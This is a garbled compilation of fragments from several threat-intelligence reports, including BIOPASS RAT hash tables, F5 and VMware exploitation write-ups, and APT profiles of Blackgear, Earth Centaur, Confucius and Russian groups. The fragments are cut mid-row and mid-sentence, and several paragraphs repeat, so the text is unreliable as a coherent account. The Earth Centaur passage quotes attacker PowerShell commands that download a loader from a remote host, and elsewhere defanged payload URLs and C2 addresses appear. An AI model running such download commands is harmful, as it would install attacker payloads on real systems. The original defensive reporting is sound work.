Indicators of Compromise (IoCs)      SHA256  Filename  Note  Analysis  84fbf74896d2a1b62d73b9a5d0be2f627d522fc811fe08044e5485492d2d4249  big.txt  BIOPASS RAT Python Script (Version 3)  TrojanSpy.Python.BIOPASS.A  f3c96145c9d6972df265e12accfcd1588cee8af1b67093011e31b44d0200871f  c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan.Python.BIOPASS.A  0f8a87ca5f94949904804442c1a0651f99ba17ecf989f46a3b2fde8de455c4a4  c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan.Python.BIOPASS.A  d8b1c4ad8f31c735c51cb24e9f767649f78ef5c571769fbaac9891c899c33444  c1222.txt  BIOPASS RAT Python Script (C1222 module)


Python.BIOPASS.A  ee4150f18ed826c032e7407468beea3b1f738ba80b75a6be21bb8d59ee345466


c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan


.Python.BIOPASS.A  34be85754a84cc44e5bb752ee3a95e2832e7be1f611dd99e9a1233c812a6dad2  c1222.txt  BIOPASS RAT Python Script (C1222 module)  Trojan


.Python.BIOPASS.A  30ccfbf24b7c8cc15f85541d5ec18feb0e19e75e1e4d2bca9941e6585dad7bc7  cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)  Trojan


.Python.BIOPASS.A  f21decb19da8d8c07066a78839ffd8af6721b1f4323f10a1df030325a1a5e159  cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)


cdaemon.txt  BIOPASS RAT Python Script (Cdaemon module)  Trojan


.Python.BIOPASS.A  e479823aa41d3f6416233dba8e765cf2abaa38ad18328859a20b88df7f1d88d5  sc2.txt  BIOPASS RAT encoded Cobalt Strike shellcode  Trojan.Win32.COBEACON.A  e567fd0f08fdafc5a89c9084373f3308ef464918ff7e4ecd7fb3135d777e946d  sc3.txt


Silverlight_ins.exe  BIOPASS RAT Loader


Backdoor.Win64.BIOPASS.A  0f18694b400e14eb995003541f16f75a5afc2478cc415a6295d171ba93565a82  flash_installer.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  11b785e77cbfa2d3849575cdfabd85d41bae3f2e0d33a77e7e2c46a45732d6e4  System.exe


test3.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  281c938448e32eb12fe8c5439ef06cea848668cf57fed5ad64b9a8d1e07de561


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  2b580af1cdc4655ae75ef503aba7600e05cdd68b056a9354a2184b7fbb24db6f  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  30a65a54acfbf8d412ade728cad86c5c769befa4e456f7c0e552e1ab0862a446  flash-64.exe


BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  30d9ffd4b92a4ed67569a78ceb25bb6f66346d1c0a7d6d6305e235cbdfe61ebe  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  3195c355aa564ea66b4b37baa9547cb53dde7cf4ae7010256db92fff0bde873d  flash.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  32a3934d96a8f2dae805fa28355cd0155c22ffad4545f9cd9c1ba1e9545b39ac


test3.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  344cdbc2a7e0908cb6638bc7b81b6b697b32755bad3bed09c511866eff3876c7


test4.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  3589e53c59d9807cca709387bbcaaffc7e24e15d9a78425b717fc55c779b928e


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  36e3fcd6a4c7c9db985be77ea6394b2ed019332fdae4739df2f96a541ea52617  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  3e8f8b8a5f70c195a2e4d4fc7f80523809f6dbf9ead061ce8ef04fb489a577cf  test-flash.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  5d7aa3474e734913ecb4b820c0c546c92f7684081c519eecd3990e11a19bf2ba  flash_installer.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  5fd2da648068f75a4a66b08d6d93793f735be62ae88085a79d839b6a0d6d859a  flash1.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  660cef8210f823acb0b31d78fbce1d6f3f8c4f43231286f7ac69f75b2c42c020  flashplayerpp_install_cn.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  69d930050b2445937ec6a4f9887296928bf663f7a71132676be3f112e80fe275  test.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6a0976e5f9d07ff3d80fa2958976183758ba5fcdd4645e391614a347b4b8e64b  f0b96efe2f714e7bddf76cc90a8b8c88_se.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  6ee8f6a0c514a5bd25f7a32210f4b3fe878d9d417a7ebe07befc285131bae10e  news.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  75e03f40a088903579a436c0d8e8bc3d0d71cf2942ad793cc948f36866a2e1ad  silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7d0d7d416db5bd7201420982987e213a129eef2314193e4558a24f3c9a91a38e  flash_installer.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  7f4e02a041ca7cfbdc79b96a890822fd7c37be67b1f6c9e07596e6aec57ccdc0  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  8445c0189735766edf0e3d01b91f6f98563fef272ac5c92d3701a1174ad072dd  Silverlight_ins.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  89c0b2036ce8d1d91f6d8b8171219aafcd6237c811770fa16edf922cedfecc54  MTYwOTI1MzEzNQ==.exe  BIOPASS RAT Loader  Backdoor.


8b5d4840bbdce0798950cd5584e3d4564581a7698bc6cfb2892c97b826129cec  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  98a91356e0094c96d81bd27af407dd48c3c91aaf97da6794aeb303597a773749  Silverlight1.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  9eed9a2e0edf38f6354f4e57b3a6b9bed5b19263f54bcee19e66fc8af0c29e4e  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  9f34d28562e7e1e3721bbf679c58aa8f5898995ed999a641f26de120f3a42cf4  Silverlight1.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  9ff906ffcde32e4c6fb3ea4652e6d6326713a7fde8bb783b52f12a1f382f8798  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  a7c4dac7176e291bd2aba860e1aa301fb5f7d880794f493f2dea0982e2b7eb31  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  b48e01ff816f12125f9f4cfc9180d534c7c57ef4ee50c0ebbe445e88d4ade939  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  b82bde3fe5ee900a76ac27b4869ed9aa0802c63bbd72b3bfb0f1abce6340cc6c  Silverlight_ins.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  b9d0838be8952ebd4218c8f548ce94901f789ec1e32f5eaf46733f0c94c77999  Silverlight_ins.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  ba44c22a3224c3a201202b69d86df2a78f0cd1d4ac1119eb29cae33f09027a9a  Silverlight2.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  bd8dc7e3909f6663c0fff653d7afbca2b89f2e9bc6f27adaab27f640ccf52975  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  bf4f50979b7b29f2b6d192630b8d7b76adb9cb65157a1c70924a47bf519c4edd  test.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c11906210465045a54a5de1053ce0624308a8c7b342bb707a24e534ca662dc89  test-flash.exe  BIOPASS RAT Loader  Backdoor.Win32.BIOPASS.A  c3fa69e15a63b151f8d1dc3018284e153ad2eb672d54555eaeaac79396b64e3b  test.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5  flashplayerpp_install_cn.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  c8542bffc7a2074b8d84c4de5f18e3c8ced30b1f6edc13047ce99794b388285c  flash2.exe  BIOPASS RAT Loader  Backdoor.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  d18d84d32a340d20ab07a36f9e4b959495ecd88d7b0e9799399fcc4e959f536b  flash_installer.exe


Backdoor.Win64.BIOPASS.A  e52ea54cfe3afd93a53e368245c5630425e326291bf1b2599b75dbf8e75b7aeb  flashplayer_install_cn.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  f1ad25b594a855a3c9af75c5da74b44d900f6fbb655033f9a98a956292011c8e  Silverlight.exe


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  fa1d70b6b5b1a5e478c7d9d840aae0cc23d80476d9eea884a73d1b7e3926a209  64.exe  BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  fa7fbca583b22d92ae6d832d90ee637cc6ac840203cd059c6582298beb955aee  test.exe  BIOPASS RAT Loader  Backdoor.


aos.exe  BIOPASS RAT binary (PyInstaller)  Trojan.Win32.BIOPASS.A  afbfe16cbdd574d64c24ad97810b04db509505522e5bb7b9ca3b497efc731045  socketio.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  0b9f605926df4ff190ddc6c11e0f5839bffe431a3ddfd90acde1fcd2f91dada3  socketio.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  6fc307063c376b8be2d3a9545959e068884d9cf7f819b176adf676fc4addef7d  flash_ins_bak.exe  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  7249ad971283e164b0489110c23f4e40c64ee49b49bcc5cd0d32d9e701ec2114  files.zip  BIOPASS RAT binary (Nuitka)  Trojan.Win32.BIOPASS.A  de17e583a4d112ce513efd4b7cb575d272dcceef229f81360ebdfa5a1e083f11  fn.exe  BIOPASS RAT binary (Nuitka)  Trojan


This post is also available in:      日本語 (Japanese)  On May 4, 2022, F5 released a security advisory for a remote code execution vulnerability in the iControlREST component of its BIG-IP product tracked in CVE-2022-1388.


Threat actors can exploit this vulnerability to bypass authentication and run arbitrary code on unpatched systems.


Since the release of this advisory, mass scanning activity has started to occur, seeking unpatched systems, and in-the-wild exploitation has begun.  Palo Alto Networks released a Threat Prevention signature for the F5 BIG-IP Authentication Bypass Vulnerability (92570) and within just 10 hours, the signature triggered 2,552 times due to vulnerability scanning and active exploitation attempts.


Vulnerable Systems Mitigation Actions Observed in the Wild Conclusion Additional Resources Indicators of Compromise  The F5 product vulnerable to CVE-2022-1388 is BIG-IP with the following versions:  The vulnerability exists within the iControl REST framework used by BIG-IP.


We recommend that customers update their F5 BIG-IP deployments to one of the following versions that have patches to mitigate CVE-2022-1388:


These were found by analysis of the packet captures that triggered the F5 BIG-IP Authentication Bypass Vulnerability signature.


K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388 EnemyBot Attempts to Exploit CVE-2022-1388  30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c  20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159  hxxps://transfer[.]sh/dlxo3I/1.sh hxxp://20.239.193[.]47/kele.sh hxxp://20.239.193[.]47/kele1 hxxp://20.187.86[.]47/dadda  Updated May 16, 2022  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Blackgear (also known as Topgear and Comnie) is a cyberespionage campaign dating back to 2008, at least based on the Protux backdoor used by its operators.


A notable characteristic of Blackgear is the degree to which its attacks are taken to evade detection, abusing blogging, microblogging, and social media services to hide its command-and-control (C&C) configuration.


Analyzing the Marade downloader (detected by Trend Micro as TSPY_MARADE.ZTBC) and the version of Protux (BKDR_PROTUX.ZTBC) employed by Blackgear’s latest campaigns, we found their encrypted configurations on blog and social media posts (see Figure 1).


Figure 1. Marade’s encrypted configuration on a Facebook post Figure 2. Infection chain of Blackgear’s attack Attack chain


Here’s a summary of Blackgear’s latest campaign:  Use a decoy document or fake installer file, sent via spam email to lure a potential victim into clicking it.


The decoy document will extract the Marade downloader.


If the affected system can connect online and doesn’t have AV software, Marade will connect to a Blackgear-controlled public blog or social media post to retrieve an encrypted C&C configuration.


Protux, a known backdoor, is executed by abusing the rundll32 dynamic-link library (DLL).


Encrypted configurations of Protux (top) and Marade (bottom) in the same blog post Correlating Marade and Protux


Based on the controller’s behavior, we can posit that both Marade and Protux were authored by the same threat actors.


Protux’s latest version, 3.7, uses the open-source compiler OpenCSP to generate a session key with the RSA algorithm.


Different versions of Protux used by Blackgear Figure 9.


Blackgear’s campaigns also use email as an entry point, which is why it’s important to secure the email gateway.


In November 2019, we published a blog analyzing an exploit kit we named Capesand that exploited Adobe Flash and Microsoft Internet Explorer flaws.


We took a look at one of the samples captured from Capesand that was used to deploy the njRat malware – notably its main executable NotepadEx.


Examining the Capesand samples The simplified diagram taken from the previous blog shows the combination of ConfuserEx and Cassandra via the second layer of obfuscation protection, which involves the DLL CyaX_Sharp Assembly (both CyaX_Sharp and CyaX are part of the Cassandra protector).


Next, let’s look for the attribute indicator, starting with the CyaX assembly used in the NotepadEx attack.


Indicators of Compromise (IoCs)  Indicator Attribution Trend Micro Pattern Detection 068d32a43191dc0164b600b85a1621be0154504fd477167422ff4a8fb3406d73 AnimalGames Backdoor.


In our new research blog “FreeMilk: A Highly Targeted Spear Phishing Campaign”, our Unit 42 research team has discovered an attack campaign that takes spear phishing targeting to the next level by hijacking in-progress email conversations.


A good example of a generalized phishing campaign is the Blank Slate Campaign we wrote about in March 2017.


For example, a spear phishing attack could use email messages about military exercises sent to military or government targets like we saw with our recent research into CMSTAR Trojan attacks.


MITRE also identifies different main targets for each group: While Carbanak focuses on banking institutions, FIN7 targets food, hospitality, and retail establishments.


After this, the Carbanak backdoor can then be used to log keystrokes and capture screenshots, steal and delete cookies, inject malicious code on sites, and monitor various traffic.


To be more specific in terms of ATT&CK® techniques, Carbanak and FIN7 share a notable number of similarities.


We detected a variant of the Carbanak malware that adds registry entries and keys as an autostart technique.


FIN7 attacks can and inject code into processes and hijack the search order used to load DLL files.


Carbanak also performs techniques for disabling security tools, deleting files that are left in malicious activity, and modifying registry to hide configuration information.


FIN7 utilizes guardrails to restrict execution and abused utilities that allow indirect command execution that can go past security restrictions.


On the other hand, FIN7 performs hooking.


In Carbanak attacks, the groups’ attacks can involve logging into services that accept remote connections and using stolen password hashes through the “pass the hash” method.


At the collection phase, Carbanak and FIN7 campaigns harvest data from local system sources and through input and screen capture (as performed in a related campaign using the Tirion malware).


In both Carbanak and FIN7 attacks, communication with users’ compromised systems is done through bypassing firewalls or network detection systems via commonly used ports, using connection proxies to avoid direct connections to the threat group’s infrastructure, employing the command-and-control channel to remotely copy files from an external system, blending in with existing network traffic by using standard application layer protocol, and taking advantage of standard cryptographic protocol to disguise command-and-control traffic.


On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation.


Timeline for VMware Vulnerabilities CVE-2022-22954 in the Wild Direct Downloads Mirai/Gafgyt Dropper Scripts or Variants Webshells Perl Shellbot Base64 Injections SSH Key Targeting CVE-2022-22960 in the Wild Conclusion Indicators of Compromise


CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.


The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:  We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware.


Instead, they were either non-specific Mirai variants or contained previously known exploits such as CVE-2017-17215.


The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code.


The exploits involving Enemybot eventually download Enemybot samples that themselves embed CVE-2022-22954 exploits for further exploitation and propagation.


CVE-2022-22960 is a privilege escalation vulnerability in VMware Workspace ONE Access, Identity Manager and vRealize Automation instances, due to improper permissions in support scripts.


Attackers can, therefore, leverage CVE-2022-22954 to remotely execute commands to overwrite specific paths.


Our research so far has shown one publicly known sample demonstrating exploitation of CVE-2022-22960 by overwriting the /usr/local/horizon/scripts/publishCaCert.hzn file.


Mirai/Gafgyt dropper scripts or variants  Perl Shellbot  Coinminer activity  Webshell downloads (full injected command)  Callback/Scanning activity  Direct Download exploits where payloads were no longer live at the time of analysis:  Sample hashes  801b23bffa65facee1da69bc6f72f8e1e4e1aeefc63dfd3a99b238d4f9d0a637 6d403c3fc246d6d493a6f4acc18c1c292f710db6ad9c3ea2ff065595c5ad3c5b 940a674cfe8179b2b8964bf408037e0e5a5ab7e47354fe4fa7a9289732e1f1b8 fdc94d0dedf6e53dd435d2b5eacb4c34923fadee50529db6f3de38c71f325e05 85143ecc41fb6aadd822ed2d6f20c721a83ae1088f406f29b8b0b05459053a03  bot.v 0b4b25fab4c922e752e689111f38957e0402fd83f6b1d69e8f43c6f4b68fc1ba C2 server : 5[.]39.217.212:80


At the time, we found ChessMaster targeting different sectors from the academe to media and government agencies in Japan.


While the original campaign was comprehensive and used remote access Trojans (RATs) such as ChChes and RedLeaves, this new campaign used a new backdoor (Detected by Trend Micro as BKDR_ANEL.ZKEI) that leverages the CVE-2017-8759 vulnerability for its cyberespionage activities.


When we tracked ChessMaster back in November, we noted that it exploited the SOAP WSDL parser vulnerability CVE-2017-8759 (patched in September 2017) within the Microsoft .NET framework to download additional malware.


While ChessMaster still uses the previous exploit, it also added more methods to its arsenal: one exploits another vulnerability, CVE-2017-11882 (patched in November 2017), which was also exploited to deliver illegal versions of the Loki infostealer.


ChessMaster can utilize any of these methods to download the next malware in the chain, the open source post-exploitation tool known as “Koadic,” which the previous campaign also used.


If Koadic finds that the system is conducive to the attacker’s interests, it downloads a base64-encrypted version of the ANEL malware from the Command-and-Control (C&C) server and executes it.  Encrypted ANEL is decrypted using the “certutil -docode” command.


Base64 encoded ANEL downloaded by Koadic ANEL will send the infected environment’s information to the C&C server.


After the execution of accevent.exe, it loads event.dll, which will be placed in the same folder (so it takes loading priority), after which event.dll decrypts and loads the encrypted backdoor ssssss.ddd, which is BKDR_ANEL.


The fact sheet comes after numerous ransomware attacks on key critical infrastructures in the US and abroad, including the attack on Colonial Pipeline by DarkSide.


Based on our investigation, the Chopper web shell is dropped via a system token, potentially via a Microsoft Exchange Server vulnerability.


One notable vulnerability in the Microsoft Exchange Server is CVE-2020-0688, a remote code execution bug.


As observed on CVE-2020-0688, the use of static keys — as opposed to randomly generated keys — can allow an attacker to execute arbitrary code by tricking the server into deserializing ViewState data.


Indicators of compromise  Filename  Path  SHA-256  Detection  Notes  ss.exe  C:\temp\  ee63b49aca1495a170ea7273316385b606f3fd2df1e48e9f4de0f241d98bd055  HackTool.Win32.CATLIKE.A  Vulnerability Scanner  LG.exe  C:\temp\ C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  LG.dat  C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  mpBD6D42.dat  C:\Users C:\Perflogs C:\hp C:\temp  e9be71848d1faa0c41db4c6a1e901747d98fb0b3cca027f8be85ea5e339b75e3  HackTool.MSIL.Mimikatz.AF  Mimikatz       Tags  Endpoints | APT & Targeted Attacks | Research | Network | Articles, News, Reports


Earth Centaur, previously known as Tropic Trooper, is a long-running cyberespionage threat group that has been active since 2011.


We found that the threat actors used vulnerable Internet Information Services (IIS) server and Exchange server vulnerabilities as entry points, and then installed web shells.


Afterward, the .NET loader (detected as Nerapack) and the first stage backdoor (Quasar remote administration tool aka Quasar RAT) were deployed on the compromised machine.


After the threat actors get access to the vulnerable hosts by using ProxyLogon exploits and web shells, they use bitsadmin to download the next-stage loader (loaders are detected as Nerapack) as well as its payload file (.bin). C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.exe' "%temp%/dfmanager.exe"}" C:\Windows\system32\windowspowershell\v1.0\powershell.exe -Command "&{Import-Module BitsTransfer; Start-BitsTransfer 'http://<redacted>:8000/dfmanager.bin' "C:\Users\<redacted>\AppData\Local\Temp/dfmanager.bin"}"


During our investigation into Earth Centaurs activities, we found that it also uses another backdoor called Lilith RAT.


Based on these special mutex strings, we believe the threat actors come from a Chinese-speaking region.


After analyzing the ChiserClient, we found that it shares a similar style of network configuration to the TClient mentioned in our previous research on Earth Centaur.


After checking the backdoor SmileSvr, we found that there was a code similarity between it and Troj_YAHAMAM, which was used by Earth Centaur in an earlier operation.


Back in February, we noted the similarities between the Patchwork and Confucius groups and found that, in addition to the similarities in their malware code, both groups primarily went after targets in South Asia.


During the months that followed in which we tracked Confucius’ activities, we found that they were still aiming for Pakistani targets.


We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius.


We found more code shared among the two threat actor’s malware, as Patchwork recently used multiple Delphi malware similar to some of the Delphi malware we described before.


Figure 6: Decompiled Form structure of Confucius’ sample (d971842441c83c1bba05742d124620f5741bb5d5da9ffb31f06efa4bbdcf04ee, Detected as TSPY_CONFSTEAL.A)  Figure 7:


Decompiled Form structure of Patchwork’s sample (795ae4097aa3bd5932be4110f6bd992f46d605d4c9e3afced314454d35395a59, Detected as TROJ_DELF.XXWZ)


Interestingly, one of those keys, “xldbszcd”, was found in a file stealer used by Confucius (472ea4929c5e0fb4e29597311ed90a14c57bc67fbf26f81a3aac042aa3dccb55, Detected as TSPY_CONFSTEAL.A) as well as in two other file stealers.


One file stealer (cca74bb322ad7833a21209b1418c9837e30983daec30d199a839f46075ee72f2, Detected as TSPY_DELF.SUW) published by security researchers in 2013 and linked to the domain myflatnet[.]com, was attributed by several parties to the Hangover group.


The other file stealer (1f0dabd61947b6df8a392b77a0eae33777be3caad13698aecc223b54ab4b859a, Detected as TROJ_DELF.XXWZ) is related to a domain reported in September 2016.


The dropped payloads are modified versions of the Remote Administration Tool QuasarRAT that can be traced to the domains sastind-cn[.]org and tautiaos[.]com.


The group still uses the Badnews malware, a backdoor with information-stealing and file-executing capabilities, albeit updated with a slight modification in the encryption routine at the end of 2017, when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost.


It should be noted that in some occasions, the threat actor sent spear-phishing emails from the domain name mailerservice[.]directory which we attributed to the Patchwork threat actor in previous research.


Trend Micro™ Deep Discovery™ Email Inspector – Defends users through a combination of real-time scanning and advanced analysis techniques for known and unknown attacks.    Indicators of Compromise Hashes of the malicious encrypted documents:      SHA256  Detection name  dacf7868a71440a7d7d8797caca1aa29b7780801e6f3b3bc33123f16989354b2  Trojan.W97M.CONFUCIUS.A  0f6bcbdf4d192f8273887f9858819dd4690397a92fb28a60bb731c873c438e07  Trojan.W97M.CONFUCIUS.B


Trojan.W97M.CONFUCIUS.B  654c7021a4482da21e149ded58643b279ffbce66badf1a0a7fc3551acd607312  Trojan.W97M.CONFUCIUS.C  712172b5b1895bbfcced961a83baa448e26e93e301be407e6b9dc8cb6526277f  Trojan.Win32.DLOADR.TIOIBELQ


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.


At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.


For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.


Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.


Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.


The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.


Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.


Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.


Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.


This is the first known instance of Turla distributing Android-related malware.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.


The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.


Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.


COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.


In March 2021, Microsoft kicked off the patch cycle early after releasing an advisory regarding the mass exploitation of four zero-days vulnerabilities by a Chinese Hacking group, HAFNIUM, on the on-premises versions of the Microsoft Exchange Server.


The vulnerability has been dubbed as ProxyLogon by the researchers at DEVCORE, who are credited with finding the bugs in the proxy architecture and the logon mechanism of Exchange.


According to Shodan, on March 4, there were more than 266,000 Exchange Servers vulnerable to the ProxyLogon vulnerability, a day after the patch was released.


CVE-2021-26855: Microsoft Exchange Server Remote Code Execution Vulnerability (pre-authenticated Server-Side Request Forgery [SSRF]) CVE-2021-27065: Microsoft Exchange Server Remote Code Execution Vulnerability (post-authenticated Arbitrary File Write)         Fig - MS Exchange Client Access Protocol Architecture     The Client Access services (Outlook Web App portal) proxies the incoming connections to the Backend services.


Workload Security uses advanced security controls such as intrusion prevention system (IPS), deep packet inspection (DPI), and integrity monitoring to protect Exchange Servers from attackers that could exploit ProxyLogon.


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.


Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.


Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.


Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.


Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.


Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.


